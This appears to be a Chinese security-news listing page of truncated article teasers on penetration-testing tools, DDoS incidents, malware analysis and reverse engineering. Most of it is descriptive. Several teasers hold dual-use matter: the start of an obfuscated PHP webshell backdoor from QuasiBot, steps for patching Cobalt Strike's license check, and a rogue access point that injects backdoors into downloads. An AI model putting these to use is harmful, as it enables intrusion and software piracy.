SSLyze是一个Python打造的工具，它可以分析我们用于连接某服务器的SSL配置。其设计出来就是为了帮助组织和测试人员，快速发现会影响他们SSL服务器的错误配置。主要特点多进程+多线程扫描：速度会非常快。SSLyze也可以作为库文件，从python直接调用运行扫描和处理结果。性能测试：session resumption和TLS票据支持。安全测试：弱密码套件，不安全的renegotiation，CRIME、心脏滴血攻击。服务器证书检查，通过OCSP stapling进行SSL撤销检查。支持SMTP、XMPP、LDAP、POP、IMAP、RDP、PostGres、FTP协议的StartTLS握手。支持扫描服务器时，用于交互验证的客户端证书。扫描结果可以写入XML或者JSON文件进行进一步处理。开始使用下载地址：https://github.com/nabla-c0d3/sslyzeSSLyze可以通过pip直接安装：pip install sslyze直接从repository库里获取代码，然后进行安装也是很方便的。git clone https://github.com/nabla-c0d3/sslyze.gitcd sslyzepip install -r requirements. txt --target./lib然后我们可以使用命令行工具来扫描服务器了：python s ...继续阅读 (32)

ar-drone是Parrot ARDrone 2.0使用协议的实现方式，同时也兼容1.0版本。通过Github安装最新版本：npm install git://github.com/felixge/node-ar-drone.git或者，用户不需要一些前沿的功能，也可以使用以下命令进行安装：npm install ar-drone简介AR Drone是一种价格实惠、功能完善的四轴飞行器，使用一种专有的固件，使用户可以通过官方的FreeFlight手机应用借助WIFI进行控制。不同于固件，它的客户端协议是开源的，Parrot发布了一款包含大量文档和C代码的SDK。他们的目标用户是移动开发人员，使他们可以使用该SDK开发可以无线控制的游戏和应用。同时，该协议也可用于接收视频和传感器数据，使开发人员可以编写自动化程序，应对即将到来的“机器人革命”。状态该协议仍处于开发过程中，所以可能会出现功能缺失。但是，已开发部分已通过测试，并且在大多数地区可以正常工作。客户端该部分提供了一个高级的客户端API，以便支持所有的无人机功能。启动的最好方式使创建一个repl.js文件：var arDrone =require('ar-drone'); var client  = arDrone.createClient(); client.createRepl();使用REPL，其中包 ...继续阅读 (44)

“已经3天了，这波攻击真是凶险。”受访的一家游戏公司创业人感慨。最近几天，国内多家棋牌游戏公司遭遇了一大波DDoS攻。圈内消息，从3月初开始，黑产开始瞄准棋牌类游戏厂商，各个厂商遭到了大规模的DDoS（分布式拒绝服务）攻击。相关数据显示，攻击始于3月11日，之后几天黑客持续利用DDoS发起攻击，总体峰值流量预计超过了400Gb/S。上述业内人士透露，这可能是2016年以来互联网上规模最大的DDoS攻击。“根本不知道得罪了谁”。DDoS攻击全称是分布式拒绝服务攻击，指攻击者利用大量“肉鸡”（受黑客远程控制的电脑）对攻击目标发动大量的正常或非正常请求、耗尽目标主机资源或网络资源，从而使被攻击的主机无法为用户提供正常服务。几乎所有的热门互联网行业多多少少都会遭遇DDoS这道坎。过去两年，在线游戏公司已成为互联网黑客DDoS重灾区。安全界人士表示，很难对DDoS进行防范，一般的处理方法是选择大平台的高防节点来流量清洗。打个比方，在一条高速公路上，犯罪嫌疑人故意组织大量车辆上高速，造成人为阻塞，这样的后果是想上高速的上不来，其破坏的目的也就达到了。解决的办法就是在高速上开很多口，让这些车辆从高速上下来，这就叫流量清洗。据悉，多家被攻击的游戏厂商纷纷向阿里云云盾团队求助，3月15日，攻击开始减弱，目前尚无厂商因攻击停服。 ...继续阅读 (6)

我尝试损坏shell脚本来创建JSON。你可能已经在某些地方看过这个了：echo'{"name":"Jane"}'如果一个元素包含一个环境变量：open double, close single, add variable, open single, blergh。脚本会以下面的方式打印，但是它的可读性并没有提高很多：printf'{"name": "%s"}/n'"Jane"进入 jo：$joname=Jane{"name":"Jane"}某天晚上我突然有了想法，我不知道为什么花了我这么长时间：$jotime=$(date +%s)dir=$HOME{"time":1457195712,"dir":"/Users/jpm"}BAM！Jo尝试引入类型、null、布尔类型、字符串和数字。它还有数组，打印如下：$jo -p -a spring summer winter["spring","summer","winter"]通过HN评论启发，我添加了另一个hack：如果一个键值开始于左大括号({) 或者一个中括号([])，我们试图解码JSON；它允许jo添加对象或者数组.$jo -pname=JPobject=$(jofruit=Orange hungry@0point=$(jox=10y=20)number=17)sunday=false{"name":"JP","object":{ ...继续阅读 (106)

WireEdit 是一个用来编辑网络数据包的可视化编辑工具，同时也是一个跨平台的网络数据包编辑器。它可以在可视化界面以“丰富文本格式”来编辑所有的堆栈层数据包，输入输出的文件格式为Pcap。WireEdit是一个Pcap编辑器吗？一方面来说是的，但是这只是它的一个功能。其核心部分是编辑数据包里面的数据本身，包括TCP/UDP/SCTP协议。Pcap可以被看做是捕获到的二进制数据包。当然一些Pcap包含元数据，这些在编辑其数据时会遇到，网络数据包里面会含有一些敏感信息，比如账号密码、私人信息等。当然如果需要查找一些漏洞还需要保证数据包的结构性和完整性，那么需要这么做呢？你需要一个数据包编辑器，WireEdit可以做到。协议/层：网络 IPv4、IPv6、UDP、 TCP、SCTP、ARP、 RARP、DHCP、DHCPv6、 ICMP、ICMPv6、IGMP、DNS、 LLDP、 RSVP、 FTP NETBIOS、 GRE、 IMAP、 POP3、 RTCP、 RTP、 SSH、 TELNET、 NTP、 LDAP、 XMPP、 VLAN、 VXLAN、 CIFS/SMB v1 (original)、 BGP、 OSPF、 SMB3、 iSCSI、 SCSI、 HTTP/1.1、HTTP2、 OpenFlow 1.0-1.4、 SIP、 SDP、 MSRP、 MGCP、& ...继续阅读 (8)

Cyborg Hawk Linux是为白帽子黑客和渗透测试者设计的基于Ubuntu（Linux）的Linux发行版操作系统。Cyborg Hawk可以用于网络安全和审计以及数字取证。它还包含多种工具，适合于移动安全和无线网络安全测试。它虽然没有Kali系统那么高级，但却是一个好的开始，我希望开发者们能够继续完善，并且吸引更多高水平的安全工程师参与进来，一起优化系统和开发驱动。特点Cyborg Hawk在Ubuntu系统的基础上做了一些扩展，有自己的PPA软件仓库。其特点如下：包含750多个渗透测试工具。Cyborg Hawk是完全免费的，而且会永远免费。可以当做一个live系统使用。漏洞利用工具箱，压力测试，逆向工程，取证，移动安全和无线安全。版本v1.1支持所有的虚拟机。现在有自己的软件仓库。可靠和稳定。支持多种无线设备。很好的菜单整理，所有一切都组织得有条理。内核通过注入打了补丁。工具类别750多个工具分别划分到以下类别中：信息收集漏洞评定漏洞利用权限提升维持访问文档和报告逆向工程压力测试取证无线安全FRID/NFC硬件黑客VoIP分析移动安全恶意软件分析你可以在这里下载到Cyborg Hawk Linux：cyborg-hawk-linux-v-1.1.iso。或者在这里阅读更多内容。*原文地址：darknet，felix编译，转载请注明来自FreeBuf黑客与极客（Free ...继续阅读 (4)

一伙不明身份的黑客攻击了DDoS攻击防护公司Staminus，并从其服务器上窃取了敏感信息。网络遭到攻击Staminus是一家美国公司，目前主要致力于DDoS攻击防护研究。Staminus 在洛杉矶、纽约和阿姆斯特丹运行着 DDoS 规避中心。在信息安全的三要素——“保密性”、“完整性”和“可用性”中，DDoS（拒绝服务攻击），针对的目标正是“可用性”。该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。除了公司的主营产品，该公司还提供一种服务 Intreppid，并提供 VPS 虚拟专属服务器，内置DDoS防护功能。在Staminus数据发生泄漏之后，攻击者曾尝试渗透到公司的内部网络中，然后将系统恢复到出厂设置，并降低整个公司的系统效率。而在这个过程中该公司暂停服务约20小时。该公司下线系统时间是在其出现问题当天的7:30 AM PST，Reddit网站上出现了该信息，并有Hastebin的信息链接。在信息出现之后，Staminus在推特上更新了这样一条信息：“在今天时间5am PST，一个罕见的事件发生在一个系统中级联的多台路由器上，最终导致我们的骨干网络不可用。”公司暂未作出说明目前在已公布的 Hastebin链接中（1），攻击者称他们能够窃取Staminus公司的数据库，Intreppid服务数据库等。当然在黑客公布信息后引起了大 ...继续阅读 (7)

Staminus公司是一家位于美国加利福尼亚州纽波特海滩的信息安全公司。该公司专注于提供全球网络安全防护服务，并为广大用户提供了针对分布式拒绝服务攻击（DDoS）的专业安全防护产品。但是据媒体报道，该公司近期却遭受了一次大范围的黑客攻击。根据调查记者Brian Kerbs的报道，该公司的整个网络系统在遭受了攻击之后便陷入了瘫痪，而且相关技术人员直到上周四傍晚仍然没有成功修复其网络系统。据了解，Staminus公司的网络系统已经瘫痪了超过二十个小时了。在上周五的下午时间，该公司的首席执行官 Matt Mahvi发表了一份声明称：“公司的相关技术人员正在抓紧时间解决这次“罕见的攻击事件”，我们已经在公司的社交媒体上提供了有关此事件的一些信息，我们也会在第一时间向大家提供有关此事件的最新调查进展。”我们在访问了该公司的官方社交媒体主页（DDoS Protection (@StaminusComm)）之后，可以看到该公司于2016年3月10日时发表了下列信息：大约在太平洋时间的2016年3月10日上午五点，Staminus公司网络系统中的多个路由系统遭受了非常罕见的黑客攻击，这也使得公司的骨干防护网络陷入了瘫痪状态。Mahvi还表示：“昨日，公司的整个网络系统陷入了瘫痪，在相关安全技术人员对系统进行了取证分析之后，我们现在可以确认：此次事件是由于公司的网络系统遭受了一次罕见的入侵攻击所导致 ...继续阅读 (8)

中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！在介绍中国蚁剑之前，我想和大家提一款伟大的工具：中国菜刀！中国菜刀已经面世了5年以上，伴随着多少年轻一代的网络安全爱好者们走过了一度又一度的岁月，在我看来，仍是当今世面上最好用甚至最无可替代的一款网站管理工具。虽然很多经过改造复制加强留彩蛋的后来者层出不穷，但仍无法改变它在我心中的地位，包括本次将要介绍的中国蚁剑。在此感谢作者并向其致敬！致敬每一位为网络安全做出贡献的新老前辈！好，我们先来瞧瞧两个短视频，看看中国蚁剑到底长啥样！在来几个截图养养眼！数据配置管理  虚拟终端操作  文件管理数据库管理中国蚁剑采用了Electron作为外壳，ES6作为前端代码编写语言，搭配Babel&&Webpack进行组件化构建编译，外加 iconv-lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块，组成了这个年轻而又充满活力的新一代大杀器。目前所有脚本代码均来源于中国菜刀，本人只是进行了解密并做了点细微的改动。但这类的轮子很多很多，中国蚁剑又有什么优势特长呢？这里附上一个简单的开发思维导图，让大家了解蚁剑是如何工作的：如图所示，中国蚁剑推崇模块 ...继续阅读 (16)

本文主要分享一款静态的IE浏览器模糊测试工具，该工具被称为IEFuzz。我们知道，像其他大部分软件一样，浏览器也往往通过两种方式进行模糊测试，一种为静态，另外一种则为动态。在此前，我们在其他文章中也了解过其他的Fuzzer，如X-Fuzzer，PKAV HTTP Fuzzer，也了解过相关的Fuzzing方法,如从零开始学Fuzzing系列：浏览器挖掘框架Morph诞生记等。本文主要讲述静态浏览器Fuzzer的情况。在当下，动态浏览器Fuzzer占据着主流，因为它们的运行效率高（纯粹是用JavaScript写的）。然而，当我们在进行动态Fuzzing 的时候，往往面临着一个共同的问题，就是“异常事件重现”。所以一般我们在构建JS 浏览器 Fuzzer时都需要非常仔细，否则在运行过程中可能会由于浏览器Fuzzer是动态的，将导致异常事件不可重现。所以，在Fuzzing之前，我们往往需要考虑以下几个方面的问题：1、测试实例（样本）如何生成？ 2、对异常事件如何监控？ 3、对于引起异常事件的测试实例如何保存？ 4、异常事件如何重现？对于上述使用动态 Fuzzer面临的问题，另外一种解决思路是，采用静态Fuzzer进行检测。虽然静态Fuzzer效率较低，但是一般都可以重现异常事件的。IEFuzz简介该静态IE fuzzer 是用python编写的，包括使用到以下模块:pywin32com ...继续阅读 (49)

如果你真的喜欢安全，了解下面这些工具是你通往大神之路的必备良品，快来看看都有哪些工具并学习一下吧！这份黑客工具列表中的一部分是基于Kali Linux的，其他的工具是通过我们的社区反馈的。下面介绍了这些工具的主要功能以及教程、书籍、视频等。端口扫描器：NmapNmap是"Network Mapper"的缩写，众所周知，它是一款非常受欢迎的免费开源黑客工具。Nmap被用于发现网络和安全审计。据数据统计，全世界成千上万的系统管理员使用nmap发现网络、检查开放端口、管理服务升级计划，以及监视主机或服务的正常运行时间。Nmap是一种使用原始IP数据包的工具，以非常创新的方式决定网络上有哪些主机，主机上的哪些服务（应用名称和版本）提供什么数据、什么操作系统、什么类型、什么版本的包过滤/防火墙正在被目标使用。使用nmap有什么好处，其中一个就是管理员用户能够确定网络是否需要打包。所有的黑客电影中都出现了nmap的身影，尤其是最近的Mr.Robot系列中。Nmap学习资料视频：https://www.concise-courses.com/hacking-tools/videos/category/2/nmap书籍：https://www.concise-courses.com/books/nmap/相似工具：https://www.concise-courses.com/ ...继续阅读 (32)

Cobalt Strike-Armitage是一个图形化的metasploit网络攻击管理工具，它可视化你的攻击目标，推荐exploit和公开了metasploit框架的高级功能。Armitage是一款Java写的Metasploit图形界面的攻击软件，可以用它结合Metasploit已知的exploit来针对存在的漏洞自动化攻击。bt5、kali linx 下集成免费版本Armitage，Cobalt Strike是它的商业版本，乃们懂得，图形界面非常友好，一键傻瓜化使用MSF高级功能，自动攻击测试。本文针对Cobalt Strike 3.0或者最新版本！环境为Kali 2.0Cobalt Strike的下载地址用的是之前文章分享的文件，大家也可到官网下载！戳这里:Cobalt Strike下载到一个cobaltstrike 3.1原版文件里面有三个文件你可以得到一个cobaltstrike-trial.tgz文件解压后的文件如图所示在root目录下创建一个名为cobaltstrike的文件夹，把cobaltstrike.jar 右键提取到cobaltstrike文件夹去！进入cobaltstrike文件夹，再进入common文件夹jad License.class找到图中的21L 修改成99999天，或者一个你输入数字的天数gedit License.jad ...继续阅读 (16)

Altman3 是一款渗透测试软件，代码托管于Github。截至目前，它可以：Webshell模块：采用xml定义的方式，可自定义脚本类型和脚本功能，自定义加密/编码 Shell管理插件 命令执行插件 文件管理插件 数据库管理插件 支持的脚本类型有：asp、aspx、php、jspFull、python 编码器插件 IP地址查询插件 插件管理中心 自定义插件：支持使用C#或者IronPython来编写插件或者服务 插件服务机制：插件可以调用其它插件提供的服务安装步骤：1.新建Build,  Build/Bin,  Build/Plugins, Build/Services目录 2.复制Resources/RunNeed目录下的所有文件到Build目录 3.复制Libraries/IronPython目录下所有文件到Build/Bin目录（如果本机已经安装IronPython，则跳过此步骤） 4.复制Libraries/Sqlite3目录下所有文件到Build目录 5.使用VS2012（或以上版本）或者MonoDevelop进行编译 6.如果本机是Linux或者Mac，则在编译插件的时候可能会报错 7.由于linux或者mac下不兼容windows命令，所以 8.你可以将*.csproj文件中的copy改为cp，call改为sh，然后 ...继续阅读 (44)

OWASP Xenotix XSS Exploit Framework是一个高效的跨站脚本漏洞（XSS）检测和攻击测试框架。它通过特有的三大浏览器引擎（包括Trident, WebKit和Gecko）进行安全扫描检测，并且其号称拥有全世界第二大的XSS测试Payload，同时具有WAF绕过能力。扫描模块Manual Mode Scanner Auto Mode Scanner DOM Scanner Multiple Parameter Scanner POST Request Scanner Header Scanner Fuzzer Hidden Parameter Detector信息采集模块Victim Fingerprinting Browser Fingerprinting Browser Features Detector Ping Scan Port Scan Internal Network Scan攻击测试模块Send Message Cookie Thief Phisher Tabnabbing Keylogger HTML5 DDoSer Executable Drive By JavaScript Shell Reverse HTTP WebShell Drive-By Reverse Shell Metasploit Browser Exploit Fi ...继续阅读 (8)

渗透测试的各位高手们，是不是还在为找不到一个好帮手而郁闷呢？别郁闷了，我来帮你！PKAV HTTP Fuzzer绝对是一你一用就会爱上的好帮手！但是我们开发这个工具是有使用条件的哦，条件如下：~$1.本工具运行需要安装.net framework 4.0或以上版本。  ~$2.本工具仅用于安全测试。非正当使用造成的法律纠纷，与我们无关。  ~$3.本工具免费下载和使用，不存在破解版本和收费版本，不存在后门或病毒，有可能被杀毒软件误杀，请在Pkav官网下载。  ~$4.本工具可独立使用，Pkav工具集中部分与之协同使用的工具不包含在此工具内，暂不放出，敬请谅解！  ~$5.如在使用中发现bug，或您有好的意见或建议，请在PKAV官网留言给我们，我们会第一时间加以改进，然后发布。  ~$6.Pkav全体成员@only_guest、@gainover、@Verkey、@sogili、@伟大娃娃、@闪电小子、@felixk3y、@香草、@xiaoL、@CSS期待与大家一起学习交流,共同进步！下载安装.net framework 4.0：dotNetFx40_Full_x86_x64.exe 本程序下载地址：pkavhttpfuzzer.rar(HASH-MD5:59aab1e0dce60be124208d4c7 ...继续阅读 (7)

‍‍‍‍Aws cli 是AWS(亚马逊云服务)的统一管理工具，其基于python开发，是在boto基础上的增强和封装。其提供了我们一种类似于操作linux命令一样的方式操作aws的全系统产品资源。而本文介绍的aws-shell，则是Aws cli的shell交互版本，给用户提供了更多的便利。‍‍安装安装aws-shell需要python环境和pip，你可以使用如下方式，借pip进行安装：$ pip install aws-shell权限不够可以：$ sudo pip install aws-shellMac OS X下在安装时，可能会存在python依赖包的问题，事见：https://github.com/pypa/pip/issues/3165暂时你可以这样做：sudo pip install aws-shell --upgrade --ignore-installed six安装好aws-shell，你可以运行：$ aws-shell退出shell，请按Ctrl-D。升级aws-shell如果你要将aws-shell升级到最新版本，你可以运行：$ pip install --upgrade aws- ...继续阅读 (4)

‍‍‍‍与谷歌通过网址来搜索互联网的方式不同，Shodan通过互联网背后的通道来搜索信息。它就象是一种“黑暗”的谷歌，不断在寻找服务器、网络摄像头、打印机、路由器和其他与互联网连接及构成互联网的一切东西。‍‍Shodan日夜不停地在运行着，每月可在互联网上搜索到大约5亿个连网设备和服务。Shodan的搜索能力是极其惊人的。无数交通灯、安全摄像头、家庭自动化设备和加热系统都连接着互联网，Shodan可以很轻松地找到它们。命令行模式TIPSShodan命令行模式有很多优点，比如导出搜索数据与解析搜索数据，还有可以指定显示数据得关键字段。首先得去shodan官网注册一个用户，然后在用户中心有个开放的API KEY之后会有用把项目克隆到本地git clone https://github.com/achillean/shodan-python.git直接 python setup.py等安装完了就可以使用了某些功能普通的API是无法使用的，比如scan命令使用之前首先初始化shodan init YOUR_API_KEY shodan count +"查询内容" 是统计条目数shodan download apche-data apche就可 ...继续阅读 (3)

这是一个真实的案例：就在上个月，小编的朋友，一位银行高管不慎点开了一封邮件的附件，真真切切的遭遇了原本以为只有在FreeBuf上看到的“新鲜玩意”——勒索软件。如同本文的主角TeslaCrypt一样，他的电脑被彻底加密，只有依照软件提示交付赎金才能恢复，这让我的朋友欲哭无泪……Cisco（思科）公司在对勒索软件TeslaCrypt经过长期的分析后，近日发布了一款解密工具，这款工具能够解密被TeslaCrypt勒索而加密的文件。FreeBuf百科：勒索木马勒索软件是一种近年来愈发流行的木马，这些木马会通过加密锁定被感染的计算机，要求受害者支付赎金后才能返还控制权，否则你硬盘里的文件将永远被木马加密了。勒索软件近年来层出不穷，FreeBuf也进行过大量报道。目前一些安全公司已经开始开发针对勒索软件的解密工具。比如前不久，卡巴斯基与荷兰国家高科技犯罪小组、荷兰国家检察官办公室开发了一款工具帮助用户恢复被勒索木马CoinVault加密的文件。截止4月17日，解密软件数据库中已有超过700个密钥。勒索软件TeslaCryptTeslaCrypt是一款臭名昭著的勒索软件CryptoLocker的变体，专攻那些热门游戏的玩家，被它盯上的游戏包括：使命召唤、暗黑破坏神、异尘余生、Minecraft、魔兽争霸、F.E.A.R、刺客信条、生化危机、魔兽世界、英雄联盟以及坦克世界等超过20种。研究人员同 ...继续阅读 (16)

Capstone是一个轻量级的多平台多架构支持的反汇编框架。支持包括ARM，ARM64，MIPS和x86/x64平台。今天1.0版本正式向公众开放下载，可以在http://www.capstone-engine.org/download.html获取到最新的代码或者新的二进制包。目前Capstone提供了如Python/Go/C#/Java等语言的支持，有较好的可扩展性。反汇编效果如下图（分别是x64，mips和ARM的反汇编结果）：capstone目前已被应用于以下产品：Camal：Coseinc恶意软件自动分析 Radare：逆向工程框架 Pyew：Python恶意静态分析工具如果发现引擎中有bug，欢迎提供或反馈至项目。 ...继续阅读 (34)

在很多情况下，我们需要进行各种各样的分析工作，这里为大家介绍一款密码分析工具——Pipal。Pipal是一款密码分析工具，功能主要是进行密码合集文件分析。说白了，就是对拿到的裤子中的密码进行特征分析，找出其中的“各种最”，你没看错，这个东西功能就是这么简单。。不过，工具的分析的速度还是很快的，同时也会从各个方面给出相应的分析结果。工具是作者为了满足自己和朋友的需要写的，现在被挂在了Git上面，这里我搬运过来，希望能为大家带来帮助。工具安装这个不用多说，git一下就好了：git clone https://github.com/digininja/pipal.git /opt/pipal运行环境Pipal是运行在ruby下的，需要的ruby版本是1.9.x，其他环境会报错无法运行，这点需要大家注意一下。简要介绍工具本身带的参数不多，我们可以使用./pipal.rb -?来查看帮助界面：可用选项不多，也很简洁。只说一下里面的top参数。top参数指定在所分析的密码文件中位于最高频率的前N位，N即为top的参数，比如我们需要待分析的密码文件中的频率前50的密码，我们可以使用:./pipal.rb --top 50 exmple.file默认的top值为10.使用很简单，直接在命令后面跟上待分析的文件就可以了，比如我这里随便分析一 ...继续阅读 (5)

Nmap script Help类别脚本名称（点击查看脚本使用方法）Nmap提供的命令行参数如下：-sC: 等价于–script=default，使用默认类别的脚本进行扫描 可更换其他类别–script=<Lua scripts>: <Lua scripts>使用某个或某类脚本进行扫描，支持通配符描述–script-args=<n1=v1,[n2=v2,…]>: 为脚本提供默认参数–script-args-file=filename: 使用文件来为脚本提供参数–script-trace: 显示脚本执行过程中发送与接收的数据–script-updatedb: 更新脚本数据库–script-help=<scripts>: 显示脚本的帮助信息，其中<scripts>部分可以逗号分隔的文件或脚本类别auth broadcast brute default discovery dos exploit external fuzzer intrusive malware safe version vuln下载地址 ...继续阅读 (20)

‍‍免责声明：本文介绍的安全工具及方法仅用于渗透测试及安全教学使用，禁止任何非法用途，后果自负‍‍一、前言最近在想着写一款webshell批量管理工具，发现目前有一款开源的，由php编写的管理平台——"QuasiBot"。在本地使用QuasiBot的时候，发现它的内置后门代码非常不错，所以便有了此文。本文会针对QuasiBot的两种后门代码进行剖析：非DDoS版 和 DDoS版。二、了解QuasiBotQuasiBot是一款php编写的webshell管理工具，可以对webshell进行远程批量管理。这个工具超越于普通的webshell管理是因为其还拥有安全扫描、漏洞利用测试等功能，可以帮助渗透测试人员进行高效的测试工作。更多信息：http://www.freebuf.com/tools/40411.html项目地址：https://github.com/Smaash/quasibot三、分析1. 非DDoS版首先给出 "非DDoS" 版本的后门代码：<?php if($_GET['_']) {     print "<!--".$_="{:|";$_=($_^"<").($_^">&quo ...继续阅读 (33)

一年一度的十一长假又到了，又开始订火车票了。虽然某网站投资巨大，但时常会碰到登陆问题，并且还不是24小时服务，这让我们很难理解…12306 辅助登录小工具会自动不断登陆直到成功。内置了 12306.cn 几个省市的 IP 地址，可以手动切换以达到加速的目的，需要手动输入识别验证码。P.S.12306 辅助登录小工具会在退出的时候弹出主页窗口。下载地址：百度盘官方主页小编注：另附浏览器插件版本，查看地址，支持Firefox + Scriptish 或 Chrome 以及 Maxhon3。[感谢Live投递 via小众软件] ...继续阅读 (3)

刚从RSA China 2012回来，最后一个议题是由Qualys公司的漏洞实验室负责人Amol Sarwate演讲Scada安全，议题名字为：《为什么Scada的安全是一场艰苦的战斗》。老实说，议题并无任何亮点。照我的理解，Amol Sarwate只讲了3个问题：1.Scada是什么 2.Scada的威胁和挑战以及针对威胁 3.挑战应该如何实施针对scada的安全。 Amol Sarwate给出的Scada安全解决方法是传统PC、传统应用的安全的解决方法。因为Scada的系统同样是运行在Linux/Windows等系统上的。听议题的人不是很多，但是在Q&A阶段问问题的人不少，这是我在其他议题的会场上所没看到过的。说明了一个问题，大家不是不关注Scada的安全，相反还是非常关注Scada的安全，但是目前为止还没有任何一个安全公司能够对Scada的安全提供一个完美的解决方案（也不可能提供完美的解决方案，原因很多，不赘述）。其中让我印象深刻的一个问题是：针对老旧的Scada系统，如何进行升级和维护其安全性，另qualys公司是否有针对这问题的解决方案。Amol Sarwate的回答是这的确是一个很复杂的问题（因为Scada比较老旧，Scada采用的协议至少有50-60多种，而这些协议有很多都是10年、20年甚至是30年前出的标准，当初对安全性方面考虑不足，就如TC ...继续阅读 (18)

持续集成(Continuous Integration，CI)工具经常被开发者所使用，常在一些程序开发组织中用于开发、项目管理和源代码管理等。更多关于CI工具的信息可以参考这里。CI工具支持分布式构建。也就是说，在典型配置下，CI工具的主服务器可以在其连接的大量子服务器上执行代码。一个典型的持续集成工业环境下的配置如下图所示：在一次渗透测试中，我开始对CI工具产生了兴趣，那次我从互联网上侵入了Jenkins客户端。对于能从公网访问到Jenkins客户端我感到相当惊讶，关于这次的入侵经历可以参见我的另一篇博文。此后我开始积极寻找可以访问到的CI服务器，在寻找过程中我发现它们正被广泛使用，但是大多都缺乏基本的安全控制措施，经常性出现错误的配置，导致它们有很多相当重要的信息(如：代码库、构建日志和凭证等等)和设备(分布式构建)可以直接被访问。如果一个黑客想要侵入IC工具的话，那么他至少能侵入得到所有的源码并向所有运行状态为slaves或agents的机器发送命令执行。我发现的这个IC工具安全问题无法被任何人忽略，无论是用户还是开发者。很多的IC工具都执行默认的配置或者是错误的配置。为了唤起人们对IC工具安全问题的关注，我准备从2015年11月30日开始一个CI工具一周课程。头三天我会讨论CI工具(Jenkins和Hudson, TeamCity, Go和CruiseControl)存在的 ...继续阅读 (15)

免责声明：本文旨在分享技术进行安全学习，禁止非法利用。本文中我将完整的阐述如何通过建立一个非常邪恶的网络接入点来使得用户进行自动文件下载。整个过程中我将使用 Nexus 9 来运行Kali NetHunter 2.0，并使用TP-LINK TLWN722N (150Mbps 版本)作为我的二级网络接口。工具（下载地址见文末）Mana – 恶意接入点工具包。它能够实现比Karma （Freebuf相关介绍：http://www.freebuf.com/articles/77055.html）攻击的更高级版本，相对而言最显著的变化就是Mana可以响应其他的AP广播，而不是像Karma这样只是探测设备，但其最终的目标仍然还是欺骗用户连接到自己设置的AP上。此外，它还有许多新奇的邪恶的AP欺骗技巧。（关于该工具的详细内容，建议可以看看Defcon 22 Talk 的内容，该工具就是在这里发布的。https://cyberarms.wordpress.com/2014/10/16/mana-tutorial-the-intelligent-rogue-wi-fi-router/）BackdoorFactory BDFProxy—— 被用于通过中间人攻击快速写入恶意payload。一个错误的开始这里由于我也希望可以向受害者提供互联网接入，从而可以在他们下载时部署我的后门，所以我还需要 Nexu ...继续阅读 (6)

很久以前FB发过一篇FLARE高级逆向工程团队的IDA Pro脚本系列上集，这次下集来了。所有的脚本和插件依然都可以从GitHub中下载。自动化重复操作本篇博客所描述的此项工作在逆向分析过程中反复出现：识别出程序中调用某个函数的所有参数。这种情况可能会在你试图做一下操作时出现：识别大小，位置，以及解密恶意软件的恶意代码的密钥。 识别用于创建新进程的所有函数指针（即调用CreateThread或_beginthreadex函数的参数）。 识别API函数中用作指示器的的静态字符串。 识别在运行时被解析的函数（如调用GetProcAddress 的所有参数）。为了帮助遇到类似问题的逆向工程师，我们推出一款新的IDA Python实用工具，它是FLARE IDA脚本的一部分：argtracker。这个工具并不是一个独立的插件，而是辅助你在IDA上快速编写和开发自己的分析脚本。通过argtracker，你可以获取调用某个函数的所有参数，然后以你认为合适的任何方式进行分析，或解码。用法我们先从一个简单的例子出发，比如一个Gh0st变种。这个恶意软件家族一般都是通过在Win32函数_beginthreadex附近添加自己的封装函数来启动新线程。这个函数通常具有下图所示的函数原型。假设我们想要快速找到lpStartAddress参数的所有取值，以便对每个线程函数做一些自动化分析。我们就可 ...继续阅读 (34)

在斯诺登爆料之后的“全球监控”时代，如果是非常在意数据隐私的“高端人士”，那么FreeBuf今天要介绍的这款应用可能会很适合你。Otr.to简介Otr.to是一款基于浏览器的开源的P2P消息应用，它利用Otr（非记录模式，一种为即时消息加密的加密协议）给人们提供了安全信息传输的服务。Otr也是最安全的加密协议之一。它给我们提供了把即时聊天和通讯内容进行强加密的服务。听名字就可以知道，这种聊天协议不会留下任何记录——一旦聊天完事儿绝对了无痕迹，不会给人留下什么把柄。Otr.to使用了WebRTC（网页实时通信技术），经过分布式P2P服务进行通讯。这就意味着我们的交流内容并不会存储在服务器上，从而躲避有心人的跟踪追查。这款应用的开发者称:“总有人习惯性地在并不安全的信道上，发送像密码这种私密数据，我对此感到愤怒和惊讶。我常常疲于给人解释加密的原理和使用方式，所以打算选择一个简单的、不用安装第三方软件的方式来传输数据。然而，我并没有发现手边有可用的服务，所以干脆自己弄了个解决方案来帮助大家。”如何使用Otr.to你不需要注册或者安装任何第三方应用，只需以下几个步骤：1、打开web浏览器 2、访问https://Otr.to 3、让你的聊天小伙伴也这样做 4、在官网主页上，该服务会为每个用户生成一个随机四位码。 5、将那个四位码交给你的朋友，填入相应的框内，两人就可以开始聊天了，如在线游戏 ...继续阅读 (13)

我们希望大家能在新的一年里做的更好，尤其是能更快更有效地分析恶意软件。数年前，我构建了一个恶意软件分析沙箱脚本，用于每日的分析和逆向工作。现在让我给大家展示下如何在几秒钟内，不用太多设置，就能进行恶意软件分析。介绍如果你在推特上关注了我，或者对本博客以前的内容有所了解，你可能就会熟悉Noriben。不管怎样，我这里先做个介绍，它是一个非常简单的脚本。在典型行为的分析中，可能会在沙箱里运行恶意软件，看它会如何创建，如何运行进程，以及对系统产生了什么影响。大多数团队所用的方法，是将恶意软件上传到如VirtusTotal之类的反病毒测试网站，或者钟情于在线沙箱如Malwr，或者干脆使用本地的Cuckoo沙箱。对于那些上传文件到互联网的团队，我只能说着这种行为对APT攻击来讲是非常不明智的。黑客如果有心的话，其实是可以发现他们的文件已经被上传到在线监控网站里。本地检测恶意软件通常可以通过Cuckoo来做，这是一个不错的开源沙箱，它可以用来分析恶意软件，获取较为全面的分析结果。然而，用这玩意儿其实挺费劲，在不同的环境里进行正确设置会相对困难。它在Linux下安装相对容易，而安装在Windows和OSX下有点蛋疼。就我而言，在外面随便拿出一个笔记本电脑，就可能会需要安上沙箱开始做事。如果你上过恶意软件分析的培训，你可能也会使用SysInternals Procmon工具来监控系统环境。某些人或 ...继续阅读 (21)

